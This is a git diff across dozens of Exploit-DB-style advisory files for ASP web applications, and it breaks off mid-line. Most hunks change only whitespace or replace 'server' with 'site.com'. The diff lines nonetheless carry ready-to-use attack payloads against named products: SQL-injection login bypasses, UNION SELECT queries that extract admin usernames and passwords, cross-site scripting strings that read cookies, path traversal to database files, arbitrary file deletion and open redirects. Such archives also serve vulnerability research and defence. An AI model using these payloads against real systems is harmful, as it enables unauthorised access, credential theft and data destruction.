47bd101a8..c1cc9c183 100755 --- a/platforms/asp/webapps/35599.txt +++ b/platforms/asp/webapps/35599.txt @@ -11,4 +11,4 @@ The following example URI and data are available: http://www.example.com/[path]/CMSadmin/default.asp Username : admin -Password : 1'or'1'='1 \ No newline at end of file +Password : 1'or'1'='1 \ No newline at end of file diff --git a/platforms/asp/webapps/35728.txt b/platforms/asp/webapps/35728.txt index fd0b3da3f..bf33d7ee3 100755 --- a/platforms/asp/webapps/35728.txt +++ b/platforms/asp/webapps/35728.txt @@ -8,4 +8,4 @@ Keyfax Customer Response Management 3.2.2.6 is vulnerable; other versions may al http://www.example.com/keyfax32/test/response.asp?co="style%3d"x:expression(alert(1))""%20"; -http://www.example.com/keyfax32/rs/main_rs.asp?C="style%3d"x:expression(alert(1))""%20"; \ No newline at end of file +http://www.example.com/keyfax32/rs/main_rs.asp?C="style%3d"x:expression(alert(1))""%20"; \ No newline at end of file diff --git a/platforms/asp/webapps/35852.txt b/platforms/asp/webapps/35852.txt index 4b082c851..c193f581d 100755 --- a/platforms/asp/webapps/35852.txt +++ b/platforms/asp/webapps/35852.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to execute arbitrary commands in the context of Microsoft Lync Server 2010 version 4.0.7577.0 is vulnerable; other versions may also be affected. -https://www.example.com/Reach/Client/WebPages/ReachJoin.aspx?xml=&&reachLocale=en-us%22;var%20xxx=%22http://www.foofus.net/~bede/foofuslogo.jpg%22;open%28xxx%29;alert%28%22error,%20please%20enable%20popups%20from%20this%20server%20and%20reload%20from%20the%20link%20you%20were%20given%22%29// \ No newline at end of file +https://www.example.com/Reach/Client/WebPages/ReachJoin.aspx?xml=&&reachLocale=en-us%22;var%20xxx=%22http://www.foofus.net/~bede/foofuslogo.jpg%22;open%28xxx%29;alert%28%22error,%20please%20enable%20popups%20from%20this%20server%20and%20reload%20from%20the%20link%20you%20were%20given%22%29// \ No newline at end of file diff --git a/platforms/asp/webapps/35872.txt b/platforms/asp/webapps/35872.txt index fadae23a7..c90bf5ae7 100755 --- a/platforms/asp/webapps/35872.txt +++ b/platforms/asp/webapps/35872.txt @@ -5,4 +5,4 @@ The H3C ER5100 is prone to a remote authentication-bypass vulnerability. Attackers can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. http://www.example.com:8080/home.asp?userLogin.asp -http://www.example.com:8080/wan_NAT.asp?userLogin.asp \ No newline at end of file +http://www.example.com:8080/wan_NAT.asp?userLogin.asp \ No newline at end of file diff --git a/platforms/asp/webapps/35923.txt b/platforms/asp/webapps/35923.txt index d616bac58..fea49e929 100755 --- a/platforms/asp/webapps/35923.txt +++ b/platforms/asp/webapps/35923.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica http://www.example.com/Page.aspx?search=1[XSSCode]&mID=1641&Page=search/advancedsearch http://www.example.com/News/shownews/[page].aspx?NewsId=[Sqli] -http://www.example.com/[Path]/Default.aspx?tabid=[Sqli] \ No newline at end of file +http://www.example.com/[Path]/Default.aspx?tabid=[Sqli] \ No newline at end of file diff --git a/platforms/asp/webapps/35926.txt b/platforms/asp/webapps/35926.txt index 0bd5fa348..cb81fcea7 100755 --- a/platforms/asp/webapps/35926.txt +++ b/platforms/asp/webapps/35926.txt @@ -4,4 +4,4 @@ eTAWASOL is prone to an SQL-injection vulnerability because the application fail A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/npages/back.asp?id=[SQL] \ No newline at end of file +http://www.example.com/npages/back.asp?id=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/36001.txt b/platforms/asp/webapps/36001.txt index e30e4964b..5cc662fbb 100755 --- a/platforms/asp/webapps/36001.txt +++ b/platforms/asp/webapps/36001.txt @@ -6,4 +6,4 @@ Successful exploits may redirect a user to a potentially malicious site; this ma Sitecore CMS versions 6.4.1 rev. 110324 and prior are vulnerable. -http://www.example.com/sitecore/shell/default.aspx?xmlcontrol=Application&url=http://www.example.com&ch=WindowChrome&ic=Applications%2f32x32%2fabout.png&he=About+Sitecore&ma=0&mi=0&re=0 \ No newline at end of file +http://www.example.com/sitecore/shell/default.aspx?xmlcontrol=Application&url=http://www.example.com&ch=WindowChrome&ic=Applications%2f32x32%2fabout.png&he=About+Sitecore&ma=0&mi=0&re=0 \ No newline at end of file diff --git a/platforms/asp/webapps/36010.txt b/platforms/asp/webapps/36010.txt index 4750de8fe..934fd0470 100755 --- a/platforms/asp/webapps/36010.txt +++ b/platforms/asp/webapps/36010.txt @@ -4,4 +4,4 @@ BESNI OKUL PORTAL is prone to a cross-site scripting vulnerability because it fa An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/[PATH]/sayfa.asp?islem=1&AltKategoriNo=42&AltKategoriAdi=<script>alert(document.domain)</script> \ No newline at end of file +http://www.example.com/[PATH]/sayfa.asp?islem=1&AltKategoriNo=42&AltKategoriAdi=<script>alert(document.domain)</script> \ No newline at end of file diff --git a/platforms/asp/webapps/36011.txt b/platforms/asp/webapps/36011.txt index 845bd25b1..70fc45fe0 100755 --- a/platforms/asp/webapps/36011.txt +++ b/platforms/asp/webapps/36011.txt @@ -4,4 +4,4 @@ Ataccan E-ticaret scripti is prone to an SQL-injection vulnerability because it Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/name.asp?id=[SQLInjection] \ No newline at end of file +http://www.example.com/name.asp?id=[SQLInjection] \ No newline at end of file diff --git a/platforms/asp/webapps/36063.txt b/platforms/asp/webapps/36063.txt index 6ee8923ee..4c0bd9fe9 100755 --- a/platforms/asp/webapps/36063.txt +++ b/platforms/asp/webapps/36063.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a The following example input is available: Username : ' or 1=1 or ''='' -Password: ' or 1=1 or ''='' \ No newline at end of file +Password: ' or 1=1 or ''='' \ No newline at end of file diff --git a/platforms/asp/webapps/36064.txt b/platforms/asp/webapps/36064.txt index 6945f29d1..4fe4fc7cb 100755 --- a/platforms/asp/webapps/36064.txt +++ b/platforms/asp/webapps/36064.txt @@ -4,4 +4,4 @@ Code Widgets DataBound Index Style Menu is prone to an SQL-injection vulnerabili Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/CS0106/category.asp?cat=[sqli] \ No newline at end of file +http://www.example.com/CS0106/category.asp?cat=[sqli] \ No newline at end of file diff --git a/platforms/asp/webapps/36065.txt b/platforms/asp/webapps/36065.txt index c8a716f9f..9b1762778 100755 --- a/platforms/asp/webapps/36065.txt +++ b/platforms/asp/webapps/36065.txt @@ -4,4 +4,4 @@ Code Widgets DataBound Collapsible Menu is prone to an SQL-injection vulnerabili Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/CS0077/main.asp?key=[sqli] \ No newline at end of file +http://www.example.com/CS0077/main.asp?key=[sqli] \ No newline at end of file diff --git a/platforms/asp/webapps/36066.txt b/platforms/asp/webapps/36066.txt index 0064a9c3a..29a641371 100755 --- a/platforms/asp/webapps/36066.txt +++ b/platforms/asp/webapps/36066.txt @@ -4,4 +4,4 @@ Code Widgets Multiple Question - Multiple Choice Online Questionaire is prone to Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/CS0099/index.asp?Q=2&A=[sqli] \ No newline at end of file +http://www.example.com/CS0099/index.asp?Q=2&A=[sqli] \ No newline at end of file diff --git a/platforms/asp/webapps/36116.txt b/platforms/asp/webapps/36116.txt index 8d78c73b9..9314c8b44 100755 --- a/platforms/asp/webapps/36116.txt +++ b/platforms/asp/webapps/36116.txt @@ -4,4 +4,4 @@ Kisanji is prone to a cross-site scripting vulnerability because it fails to pro An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/default.aspx?gr=[xss] \ No newline at end of file +http://www.example.com/default.aspx?gr=[xss] \ No newline at end of file diff --git a/platforms/asp/webapps/36133.txt b/platforms/asp/webapps/36133.txt index a8519add5..62b583d65 100755 --- a/platforms/asp/webapps/36133.txt +++ b/platforms/asp/webapps/36133.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary script code in the brows Orion Network Performance Monitor 10.1.3 is affected; other versions may also be vulnerable. -http://www.example.com/Orion/NetPerfMon/CustomChart.aspx?ChartName=AvgRTLoss&NetObject=N:355&ResourceID=17&NetObjectPrefix=N&Rows=&Title=%3Cscript%3Ealert%28%27ALERTA%27%29%3C/script%3E \ No newline at end of file +http://www.example.com/Orion/NetPerfMon/CustomChart.aspx?ChartName=AvgRTLoss&NetObject=N:355&ResourceID=17&NetObjectPrefix=N&Rows=&Title=%3Cscript%3Ealert%28%27ALERTA%27%29%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/36134.txt b/platforms/asp/webapps/36134.txt index 5d5395aa2..b881017a3 100755 --- a/platforms/asp/webapps/36134.txt +++ b/platforms/asp/webapps/36134.txt @@ -9,4 +9,4 @@ The following products are affected; Microsoft SharePoint 2007 Microsoft SharePoint 2010 -http://www.example.com/Docs/Lists/Announcements/NewForm.aspx?Source=[xss] \ No newline at end of file +http://www.example.com/Docs/Lists/Announcements/NewForm.aspx?Source=[xss] \ No newline at end of file diff --git a/platforms/asp/webapps/36138.txt b/platforms/asp/webapps/36138.txt index e834c12f9..134f201e8 100755 --- a/platforms/asp/webapps/36138.txt +++ b/platforms/asp/webapps/36138.txt @@ -6,4 +6,4 @@ A successful exploit will allow an attacker to compromise the application, acces ASP Basit Haber Script 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/haber.asp?id=28+union+select+0,kullaniciadi,sifre,3,4,5+from+admin \ No newline at end of file +http://www.example.com/haber.asp?id=28+union+select+0,kullaniciadi,sifre,3,4,5+from+admin \ No newline at end of file diff --git a/platforms/asp/webapps/36139.txt b/platforms/asp/webapps/36139.txt index 63009085b..c127b5d4b 100755 --- a/platforms/asp/webapps/36139.txt +++ b/platforms/asp/webapps/36139.txt @@ -16,4 +16,4 @@ http://www.example.com/kategoriler.asp?id=4%28%29 [SQL] http://www.example.com/link.asp?page=referanslarimiz&id=2%28%29 [SQL] -http://www.example.com/?catid=23+union+select+0,1,2,3,4,5+from+admin \ No newline at end of file +http://www.example.com/?catid=23+union+select+0,1,2,3,4,5+from+admin \ No newline at end of file diff --git a/platforms/asp/webapps/36141.txt b/platforms/asp/webapps/36141.txt index a2d9c3455..13686893c 100755 --- a/platforms/asp/webapps/36141.txt +++ b/platforms/asp/webapps/36141.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Aspgwy Access 1.0.0 is vulnerable; other versions may also be affected. -http://www.example.com/forum/search_results.asp?search_word=&matchword=[XSS] \ No newline at end of file +http://www.example.com/forum/search_results.asp?search_word=&matchword=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/36146.txt b/platforms/asp/webapps/36146.txt index 04f15ce23..48b24bcd3 100755 --- a/platforms/asp/webapps/36146.txt +++ b/platforms/asp/webapps/36146.txt @@ -6,4 +6,4 @@ An attacker could leverage this issue to execute arbitrary script code in the br i-Gallery 3.4 is vulnerable; other versions may also be affected. -http://www.example.com/igallery.asp?d="><script>alert('kurd-team')</script> \ No newline at end of file +http://www.example.com/igallery.asp?d="><script>alert('kurd-team')</script> \ No newline at end of file diff --git a/platforms/asp/webapps/36375.txt b/platforms/asp/webapps/36375.txt index 3a6a8d987..6a33e1b0a 100755 --- a/platforms/asp/webapps/36375.txt +++ b/platforms/asp/webapps/36375.txt @@ -8,4 +8,4 @@ Virtual Vertex Muster 6.1.6 is vulnerable; other versions may also be affected. The following example request is available: -GET /a\..\..\muster.db HTTP/1.1 \ No newline at end of file +GET /a\..\..\muster.db HTTP/1.1 \ No newline at end of file diff --git a/platforms/asp/webapps/36402.txt b/platforms/asp/webapps/36402.txt index ad493b0c1..e7e7cc922 100755 --- a/platforms/asp/webapps/36402.txt +++ b/platforms/asp/webapps/36402.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Hero 3.69 is vulnerable; other versions may also be affected. -http://www.example.com/hero_os/events?month=January.htaccess.aspx%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/hero_os/events?month=January.htaccess.aspx%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/36515.txt b/platforms/asp/webapps/36515.txt index e5b4ba0c7..8b1e9f296 100755 --- a/platforms/asp/webapps/36515.txt +++ b/platforms/asp/webapps/36515.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica DIGIT CMS 1.0.7 is vulnerable; other versions may also be affected. -http://www.example.com/path/Default.asp?sType=0&PageId=[Sqli] \ No newline at end of file +http://www.example.com/path/Default.asp?sType=0&PageId=[Sqli] \ No newline at end of file diff --git a/platforms/asp/webapps/36547.txt b/platforms/asp/webapps/36547.txt index 72e89021e..71ebacf02 100755 --- a/platforms/asp/webapps/36547.txt +++ b/platforms/asp/webapps/36547.txt @@ -9,4 +9,4 @@ Professional, Enterprise, and Premium 4.26 and prior versions Professional, Enterprise, and Premium 5.52 and prior versions Professional, Enterprise, and Premium 6.02 and prior versions -http://example.com/mewebmail/Mondo/lang/sys/ForgottenPassword.aspx?Username=[xss] \ No newline at end of file +http://example.com/mewebmail/Mondo/lang/sys/ForgottenPassword.aspx?Username=[xss] \ No newline at end of file diff --git a/platforms/asp/webapps/36585.txt b/platforms/asp/webapps/36585.txt index 26f556703..7e7f04676 100755 --- a/platforms/asp/webapps/36585.txt +++ b/platforms/asp/webapps/36585.txt @@ -4,4 +4,4 @@ Snitz Forums 2000 is prone to an SQL-injection vulnerability because it fails to A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/forum.asp?TOPIC_ID=[SQL] \ No newline at end of file +http://www.example.com/forum.asp?TOPIC_ID=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/36588.txt b/platforms/asp/webapps/36588.txt index c07ee3cdd..18701d6e6 100755 --- a/platforms/asp/webapps/36588.txt +++ b/platforms/asp/webapps/36588.txt @@ -10,4 +10,4 @@ http://www.example.com/admin/admin_colors.asp?"><script>alert('XSS')</script> http://www.example.com/admin/admin_config.asp?"><script>alert('XSS')</script> -http://www.example.com/admin/admin_cat_add.asp?"><script>alert('XSS')</script> \ No newline at end of file +http://www.example.com/admin/admin_cat_add.asp?"><script>alert('XSS')</script> \ No newline at end of file diff --git a/platforms/asp/webapps/36599.txt b/platforms/asp/webapps/36599.txt index 24c87c406..f35b8d376 100755 --- a/platforms/asp/webapps/36599.txt +++ b/platforms/asp/webapps/36599.txt @@ -6,4 +6,4 @@ Raven 1.0 is vulnerable; other versions may also be affected. http://www.example.com/[patch]/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/ -http://www.example.com/forum/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/ \ No newline at end of file +http://www.example.com/forum/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/ \ No newline at end of file diff --git a/platforms/asp/webapps/36936.txt b/platforms/asp/webapps/36936.txt index cf4a9efe6..6a39e6548 100755 --- a/platforms/asp/webapps/36936.txt +++ b/platforms/asp/webapps/36936.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br SAP Business Objects XI R2 is vulnerable; other versions may be affected. -https://www.example.com/businessobjects/enterprise115/infoview/webi/webi_modify.aspx?id=&#039;+alert(&#039;XSS&#039;)+&#039;# \ No newline at end of file +https://www.example.com/businessobjects/enterprise115/infoview/webi/webi_modify.aspx?id=&#039;+alert(&#039;XSS&#039;)+&#039;# \ No newline at end of file diff --git a/platforms/asp/webapps/37119.txt b/platforms/asp/webapps/37119.txt index 5a3af27aa..35dae5c3d 100755 --- a/platforms/asp/webapps/37119.txt +++ b/platforms/asp/webapps/37119.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a http://www.example.com/[patch]/profile.asp?$sid=&id=[SQL] http://www.example.com/[patch]/forum.asp?$sid=&id=[SQL] -http://www.example.com/[patch]/topic.asp?$sid=&id=[SQL] \ No newline at end of file +http://www.example.com/[patch]/topic.asp?$sid=&id=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/37121.txt b/platforms/asp/webapps/37121.txt index 46d87051d..a15e231c5 100755 --- a/platforms/asp/webapps/37121.txt +++ b/platforms/asp/webapps/37121.txt @@ -8,4 +8,4 @@ http://www.example.com/ShowPost.asp?ThreadID=[SQL] http://www.example.com/blog.asp?id=[SQL] http://www.example.com/ShowForum.asp?ForumID=[SQL] http://www.example.com/Profile.asp?UserName=[SQL] -http://www.example.com/print.asp?id=[SQL] \ No newline at end of file +http://www.example.com/print.asp?id=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/37488.txt b/platforms/asp/webapps/37488.txt index 00580964d..c3d330b3e 100755 --- a/platforms/asp/webapps/37488.txt +++ b/platforms/asp/webapps/37488.txt @@ -7,4 +7,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. WebsitePanel versions prior to 1.2.2.1 are vulnerable. https://www.example.com/hosting/Default.aspx?pid=Login&ReturnUrl=http://<any_domain> -https://www.example1.com/hosting/Default.aspx?pid=Login&ReturnUrl=http://<any_domain>/file.exe> \ No newline at end of file +https://www.example1.com/hosting/Default.aspx?pid=Login&ReturnUrl=http://<any_domain>/file.exe> \ No newline at end of file diff --git a/platforms/asp/webapps/37676.txt b/platforms/asp/webapps/37676.txt index e6af02310..5a064bf72 100755 --- a/platforms/asp/webapps/37676.txt +++ b/platforms/asp/webapps/37676.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com//Questions.asp?id="><script>alert(0);</script> -http://www.example.com/search.asp?7="><script>alert(0);</script>&Search=Search \ No newline at end of file +http://www.example.com/search.asp?7="><script>alert(0);</script>&Search=Search \ No newline at end of file diff --git a/platforms/asp/webapps/37678.txt b/platforms/asp/webapps/37678.txt index 36816884d..2d5fb7515 100755 --- a/platforms/asp/webapps/37678.txt +++ b/platforms/asp/webapps/37678.txt @@ -10,4 +10,4 @@ http://www.example.com/forum_members.asp?find=S&ForumID=%22%3E%3Cscript%3Ealert( http://www.example.com/forum_members.asp?find=S&ForumID=%22%3E%3Cscript%3Ealert(0);%3C/script%3E -http://www.www.example.com/post_message_form.asp?ForumID=63&mode=new&PagePosition=0&ReturnPage=Thread&ThreadPage="><script>alert(0);</script>&TopicID=57676 \ No newline at end of file +http://www.www.example.com/post_message_form.asp?ForumID=63&mode=new&PagePosition=0&ReturnPage=Thread&ThreadPage="><script>alert(0);</script>&TopicID=57676 \ No newline at end of file diff --git a/platforms/asp/webapps/37696.txt b/platforms/asp/webapps/37696.txt index b4738ce1e..751815c18 100755 --- a/platforms/asp/webapps/37696.txt +++ b/platforms/asp/webapps/37696.txt @@ -10,4 +10,4 @@ http://www.example.com/search.asp?keywords="><script>alert(0);</script>&SearchTy http://www.example.com/search.asp?CurrentPage=1&sitekeywords"><script>alert(0);</script>&SearchType=Default -http://www.example.com/search.asp?SearchType=Keywords&Keywords="><script>alert(0);</script>&x=0&y=0 \ No newline at end of file +http://www.example.com/search.asp?SearchType=Keywords&Keywords="><script>alert(0);</script>&x=0&y=0 \ No newline at end of file diff --git a/platforms/asp/webapps/37892.txt b/platforms/asp/webapps/37892.txt index b4ed09d12..f3b1d7ef0 100755 --- a/platforms/asp/webapps/37892.txt +++ b/platforms/asp/webapps/37892.txt @@ -1,4 +1,4 @@ -.__ _____ _______ + .__ _____ _______ | |__ / | |___ __\ _ \_______ ____ | | \ / | |\ \/ / /_\ \_ __ \_/ __ \ | Y \/ ^ /> <\ \_/ \ | \/\ ___/ diff --git a/platforms/asp/webapps/37995.txt b/platforms/asp/webapps/37995.txt index 242799b53..f8f27572d 100755 --- a/platforms/asp/webapps/37995.txt +++ b/platforms/asp/webapps/37995.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary script code in the brows SolarWinds Orion IP Address Manager (IPAM) 3.0 is affected; other versions may also be vulnerable. -http://www.example.com/Orion/IPAM/search.aspx?q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%27hi%27%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/Orion/IPAM/search.aspx?q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%27hi%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/asp/webapps/3831.txt b/platforms/asp/webapps/3831.txt index ed80918cd..368cfe71b 100755 --- a/platforms/asp/webapps/3831.txt +++ b/platforms/asp/webapps/3831.txt @@ -1,4 +1,4 @@ -/*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*\ + /*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-*\ |* *| |* Y! Underground Group *| |* *| diff --git a/platforms/asp/webapps/38415.txt b/platforms/asp/webapps/38415.txt index b5d3592f9..125f52dbc 100755 --- a/platforms/asp/webapps/38415.txt +++ b/platforms/asp/webapps/38415.txt @@ -4,4 +4,4 @@ C2 WebResource is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/fileview.asp?File=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/fileview.asp?File=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/asp/webapps/38653.txt b/platforms/asp/webapps/38653.txt index 7d03b3e64..5b9fe0325 100755 --- a/platforms/asp/webapps/38653.txt +++ b/platforms/asp/webapps/38653.txt @@ -4,4 +4,4 @@ Corda Highwire is prone to a path disclosure vulnerability because it fails to p An attacker can exploit this issue to obtain sensitive information that may lead to further attacks. -http://www.example.com/highwire.ashx?url=../../ \ No newline at end of file +http://www.example.com/highwire.ashx?url=../../ \ No newline at end of file diff --git a/platforms/asp/webapps/38655.txt b/platforms/asp/webapps/38655.txt index 25d13bd55..06766a7d1 100755 --- a/platforms/asp/webapps/38655.txt +++ b/platforms/asp/webapps/38655.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Corda .NET Redirector 7.3.11.6715 is vulnerable; other versions may also be affected. -http://www.example.com/Corda/redirector.corda/? () _FILEhttp://<URL>/?<script>alert('Text')</script><iframe src=http://www.example1.com></iframe>@_TEXTDESCRIPTIONEN \ No newline at end of file +http://www.example.com/Corda/redirector.corda/? () _FILEhttp://<URL>/?<script>alert('Text')</script><iframe src=http://www.example1.com></iframe>@_TEXTDESCRIPTIONEN \ No newline at end of file diff --git a/platforms/asp/webapps/38696.txt b/platforms/asp/webapps/38696.txt index b7c7925fb..73deff9e6 100755 --- a/platforms/asp/webapps/38696.txt +++ b/platforms/asp/webapps/38696.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow DotNetNuke prior to versions 7.1.1 and 6.2.9 are vulnerable. -http://www.example.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} \ No newline at end of file +http://www.example.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} \ No newline at end of file diff --git a/platforms/asp/webapps/38749.txt b/platforms/asp/webapps/38749.txt index c807b7a93..723fc02ae 100755 --- a/platforms/asp/webapps/38749.txt +++ b/platforms/asp/webapps/38749.txt @@ -4,4 +4,4 @@ Flo CMS is prone to an SQL-injection vulnerability because it fails to sufficien Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/blog/index.asp?archivem=' \ No newline at end of file +http://www.example.com/blog/index.asp?archivem=' \ No newline at end of file diff --git a/platforms/asp/webapps/38879.txt b/platforms/asp/webapps/38879.txt index 32c0fab27..d7e8e5cab 100755 --- a/platforms/asp/webapps/38879.txt +++ b/platforms/asp/webapps/38879.txt @@ -9,4 +9,4 @@ B2B Vertical Marketplace Creator 2.0 is vulnerable; other version may also be vu www.example.com/demo/B2BVerticalMarketplace/admin.asp UserID : 1' or '1' = '1 -Password : 1' or '1' = '1 \ No newline at end of file +Password : 1' or '1' = '1 \ No newline at end of file diff --git a/platforms/asp/webapps/38883.txt b/platforms/asp/webapps/38883.txt index 638754b37..0b10cbe6a 100755 --- a/platforms/asp/webapps/38883.txt +++ b/platforms/asp/webapps/38883.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues by manipulating the SQL query logic to carr EtoShop Dynamic Biz Website Builder (QuickWeb) 1.0.0 is vulnerable; other versions may also be affected. -http://www.example.com/dweb/apps/news-events/newdetail.asp?id=1=[SQL INJECTION] \ No newline at end of file +http://www.example.com/dweb/apps/news-events/newdetail.asp?id=1=[SQL INJECTION] \ No newline at end of file diff --git a/platforms/asp/webapps/38884.txt b/platforms/asp/webapps/38884.txt index f5eec3c47..9a950f717 100755 --- a/platforms/asp/webapps/38884.txt +++ b/platforms/asp/webapps/38884.txt @@ -9,4 +9,4 @@ EtoShop Dynamic Biz Website Builder (QuickWeb) 1.0.0 is vulnerable; other versio www.example.com/dweb/login.asp UserID : x' or ' 1=1-- -Password : x' or ' 1=1-- \ No newline at end of file +Password : x' or ' 1=1-- \ No newline at end of file diff --git a/platforms/asp/webapps/38935.txt b/platforms/asp/webapps/38935.txt index 5141bbdfe..d92504441 100755 --- a/platforms/asp/webapps/38935.txt +++ b/platforms/asp/webapps/38935.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc CMS Afroditi 1.0 is vulnerable. -http://www.example.com/default.asp?id=25 and 0<=(SELECT count(*) FROM [site]) and 1=1 \ No newline at end of file +http://www.example.com/default.asp?id=25 and 0<=(SELECT count(*) FROM [site]) and 1=1 \ No newline at end of file diff --git a/platforms/asp/webapps/39106.txt b/platforms/asp/webapps/39106.txt index a1b4f380f..4fd1a14d8 100755 --- a/platforms/asp/webapps/39106.txt +++ b/platforms/asp/webapps/39106.txt @@ -4,4 +4,4 @@ eshtery CMS is prone to a local file-disclosure vulnerability because it fails t Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. - http://www.example.com/[path]/FileManager.aspx?file=E:\web\admin.asp \ No newline at end of file + http://www.example.com/[path]/FileManager.aspx?file=E:\web\admin.asp \ No newline at end of file diff --git a/platforms/asp/webapps/39187.txt b/platforms/asp/webapps/39187.txt index 001579cab..4ca12433a 100755 --- a/platforms/asp/webapps/39187.txt +++ b/platforms/asp/webapps/39187.txt @@ -4,4 +4,4 @@ CIS Manager is prone to an SQL-injection vulnerability because it fails to suffi A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/autenticar/lembrarlogin.asp?email=[SQL Injection] \ No newline at end of file +http://www.example.com/autenticar/lembrarlogin.asp?email=[SQL Injection] \ No newline at end of file diff --git a/platforms/asp/webapps/3936.txt b/platforms/asp/webapps/3936.txt index 6598bdcb2..c84cb1e63 100755 --- a/platforms/asp/webapps/3936.txt +++ b/platforms/asp/webapps/3936.txt @@ -12,6 +12,6 @@ Contact : kerem125@kerem125.com & by_gsy@hotmail.com ############################################################################################################ RunawaySoft Haber portal v1.0 (tr) Database Disclosure -Example: [server]/[path]/haber/data/xice.mdb +Example: [site.com]/[path]/haber/data/xice.mdb # milw0rm.com [2007-05-16] diff --git a/platforms/asp/webapps/4083.txt b/platforms/asp/webapps/4083.txt index 27d5519b3..e1b0b05eb 100755 --- a/platforms/asp/webapps/4083.txt +++ b/platforms/asp/webapps/4083.txt @@ -10,7 +10,7 @@ Bug : in urunbak.asp Down : http://www.aspdestek.net/uploads/20070518_092540_webmarket.rar Site : -Exploit : http://server/script_path/urunbak.asp?id=25+union+select+0,1,parola,3,4,5,6+from+ayar +Exploit : http://site.com/script_path/urunbak.asp?id=25+union+select+0,1,parola,3,4,5,6+from+ayar Note : [ Aq Mahkemelik Oldk daha ne olsn :) (ci) ] [ cRA 2 Ay YOK sAhalarda] diff --git a/platforms/asp/webapps/4198.txt b/platforms/asp/webapps/4198.txt index 468125a61..f7bc91f58 100755 --- a/platforms/asp/webapps/4198.txt +++ b/platforms/asp/webapps/4198.txt @@ -8,7 +8,7 @@ email:timq@hushmail.com Vendor:http://www.rammdev.com/ashop/ PoC: -http://server/admin/filebrowser.asp?folder=products&delfiles=[del any file on server] +http://site.com/admin/filebrowser.asp?folder=products&delfiles=[del any file on server] It is possible to delete not only the files in the folders listed, but also ouside its directory. diff --git a/platforms/asp/webapps/4609.txt b/platforms/asp/webapps/4609.txt index d3467aa8b..18dc30edd 100755 --- a/platforms/asp/webapps/4609.txt +++ b/platforms/asp/webapps/4609.txt @@ -10,6 +10,6 @@ * * Bug : ASP Message Board - printer.asp - Remote Sql Injection Exploit * -* Exploit : Admin User / Password : http://www.server/boards/printer.asp?forum=AMB_xxxx&id=xxxx or 1=convert(int,(select top 1 convert(varchar,isnull(convert(varchar,Admin),'NUL 